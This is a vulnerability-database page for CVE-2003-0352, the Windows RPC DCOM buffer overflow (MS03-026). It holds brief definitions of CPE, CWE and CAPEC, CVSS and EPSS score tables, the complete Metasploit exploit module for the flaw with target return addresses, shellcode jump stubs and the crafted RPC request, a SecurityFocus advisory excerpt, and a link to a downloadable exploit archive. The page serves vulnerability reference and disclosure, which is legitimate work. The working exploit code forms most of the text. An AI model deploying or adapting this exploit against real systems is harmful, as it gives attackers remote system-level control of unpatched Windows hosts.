CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Buffer overflow in a certain DCOM interface for RPC in Microsoft Windows NT 4.0, 2000, XP, and Server 2003 allows remote attackers to execute arbitrary code via a malformed message, as exploited by the Blaster/MSblast/LovSAN and Nachi/Welchia worms.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
87.31%
–
–
2023-03-12
–
–
–
97.38%
–
2023-07-09
–
–
–
97.12%
–
2023-08-06
–
–
–
97.06%
–
2023-12-31
–
–
–
97.16%
–
2024-06-02
–
–
–
97.08%
–
2024-11-24
–
–
–
95.99%
–
2024-12-22
–
–
–
95.39%
–
2025-01-19
–
–
–
95.39%
–
2025-03-18
–
–
–
–
91.31%
2025-04-15
–
–
–
–
90.64%
2025-04-22
–
–
–
–
90.72%
2025-04-22
–
–
–
–
90.72,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# $Id: ms03_026_dcom.rb 11545 2011-01-11 17:56:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::DCERPC
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft RPC DCOM Interface Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the RPCSS service, this vulnerability
was originally found by the Last Stage of Delirium research group and has been
widely exploited ever since. This module can exploit the English versions of
Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)
},
'Author' => [ 'hdm', 'spoonm', 'cazz' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11545 $',
'References' =>
[
[ 'CVE', '2003-0352' ],
[ 'OSVDB', '2100' ],
[ 'MSB', 'MS03-026' ],
[ 'BID', '8205' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 880,
'MinNops' => 300,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'StackAdjustment' => -3500
},
'Targets' =>
[
# Target 0: Universal
[
'Windows NT SP3-6a/2000/XP/2003 Universal',
{
'Platform' => 'win',
'Rets' =>
[
0x77f33723, # Windows NT 4.0 SP6a (esp)
0x7ffde0eb, # Windows 2000 writable address + jmp+0xe0
0x010016c6, # Windows 2000 Universal (ebx)
0x01001c59, # Windows XP SP0/SP1 (pop pop ret)
0x001b0b0b, # Windows 2003 call near [ebp+0x30] (unicode.nls - thanks Litchfield!)
0x776a240d, # Windows NT 4.0 SP5 (eax) ws2help.dll
0x74ff16f3, # Windows NT 4.0 SP3/4 (pop pop ret) rnr20.dll
],
},
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 16 2003'))
end
def autofilter
# Common vulnerability scanning tools report port 445/139
# due to how they test for the vulnerability. Remap this
# back to 135 for automated exploitation
rport = datastore['RPORT'].to_i
if ( rport == 139 or rport == 445 )
datastore['RPORT'] = 135
end
true
end
def exploit
connect
print_status("Trying target #{target.name}...")
handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [datastore['RPORT']])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
# Carefully create the combination of addresses and code for cross-os exploitation
xpseh = rand_text_alphanumeric(360, payload_badchars)
# Jump to [esp-4] - (distance to shellcode)
jmpsc =
"\x8b\x44\x24\xfc" + # mov eax,[esp-0x4]
"\x05\xe0\xfa\xff\xff" + # add eax,0xfffffae0 (sub eax, 1312)
Rex::Arch::X86.jmp_reg('eax') # jmp eax
# Jump to [ebp+0x30] - (distance to shellcode) - thanks again Litchfield!
jmpsc2k3 =
"\x8b\x45\x30" + # mov eax,[ebp+0x30]
"\x05\x24\xfb\xff\xff" + # add eax,0xfffffb24 (sub 1244)
Rex::Arch::X86.jmp_reg('eax') # jmp eax
# Windows 2003 added by spoonm
xpseh[ 246 - jmpsc2k3.length, jmpsc2k3.length ] = jmpsc2k3
xpseh[ 246, 2 ] = Rex::Arch::X86.jmp_short("$-#{jmpsc2k3.length}")
xpseh[ 250, 4 ] = [ target['Rets'][4] ].pack('V')
xpseh[ 306, 2 ] = Rex::Arch::X86.jmp_short('$+8')
xpseh[ 310, 4 ] = [ target['Rets'][3] ].pack('V')
xpseh[ 314, jmpsc.length ] = jmpsc
#
# NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both
# NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4
# HD wrote NT 4.0 SP6a, and it's off in a different place
#
# Our NT 4.0 SP3/SP4/SP5 overwrites will look something like this:
# (hopefully I'm accurate, this is from my memory...)
#
# |---pop pop ret-------- --eax---|
# V | | V
# [ jmp +17 ] [ ret sp3/4 ] [ ret sp5 ] [ jmpback sp5 ] [ jmpback sp3/4 ]
# 4 4 4 5 5
# | ^
# --------------------------------------------------|
# The jmpback's all are 5 byte backwards jumps into our shellcode that
# sits just below these overwrites...
#
nt4sp3jmp = Rex::Arch::X86.jmp_short("$+#{12 + 5}") +
rand_text(2, payload_badchars)
nt4sp5jmpback = "\xe9" + [ ((5 + 4 + payload.encoded.length) * -1) ].pack('V')
nt4sp3jmpback = "\xe9" + [ ((12 + 5 + 5 + payload.encoded.length) * -1) ].pack('V')
ntshiz =
nt4sp3jmp +
[ target['Rets'][6] ].pack('V') +
[ target['Rets'][5] ].pack('V') +
nt4sp5jmpback +
nt4sp3jmpback
# Pad to the magic value of 118 bytes
ntshiz += rand_text(118 - ntshiz.length, payload_badchars)
# Create the evil UNC path used in the overflow
uncpath =
Rex::Text.to_unicode("\\\\") +
make_nops(32) +
# When attacking NT 4.0, jump over 2000/XP return
Rex::Arch::X86.jmp_short(16) +
Rex::Arch::X86.jmp_short(25) +
[ target['Rets'][2] ].pack('V') + # Return address for 2000 (ebx)
[ target['Rets'][0] ].pack('V') + # Return address for NT 4.0 SP6 (esi)
[ target['Rets'][1] ].pack('V') + # Writable address on 2000 and jmp for NT 4.0
make_nops(88) +
Rex::Arch::X86.jmp_short(4) +
rand_text(4, payload_badchars) +
make_nops(8) +
Rex::Arch::X86.jmp_short(4) +
Rex::Arch::X86.jmp_short(4) +
make_nops(4) +
Rex::Arch::X86.jmp_short(4) +
rand_text(4, payload_badchars) +
payload.encoded +
ntshiz +
xpseh +
Rex::Text.to_unicode("\\\x00")
# This is the rpc cruft needed to trigger the vuln API
stubdata =
NDR.short(5) +
NDR.short(1) +
NDR.long(0) +
NDR.long(0) +
rand_text(16) +
NDR.long(0) +
NDR.long(0) +
NDR.long(0) +
NDR.long(0) +
NDR.long(0) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.UnicodeConformantVaryingStringPreBuilt(uncpath) +
NDR.long(0) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(1) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(1) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(1) +
NDR.long(1) +
NDR.long(rand(0xFFFFFFFF))
print_status('Sending exploit ...')
begin
dcerpc_call(0, stubdata, nil, false)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
end
handler
disconnect
end
end
source: https://www.securityfocus.com/bid/8205/info
A buffer overrun vulnerability has been reported in Microsoft Windows that can be exploited remotely via a DCOM RPC interface that listens on TCP/UDP port 135. The issue is due to insufficient bounds checking of client DCOM object activation requests. Exploitation of this issue could result in execution of malicious instructions with Local System privileges on an affected system.
This issue may be exposed on other ports that the RPC Endpoint Mapper listens on, such as TCP ports 139, 135, 445 and 593. This has not been confirmed. Under some configurations the Endpoint Mapper may receive traffic via port 80.
** There have been unconfirmed reports that Windows 9x systems with certain software installed may also be vulnerable to this issue. Reportedly, Windows 98 systems with .NET software installed may be vulnerable according to scans using various DCOM RPC vulnerability scanning tools. Symantec has not confirmed this behaviour and it may in fact be due to false positives generated by the scanners.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22917.zip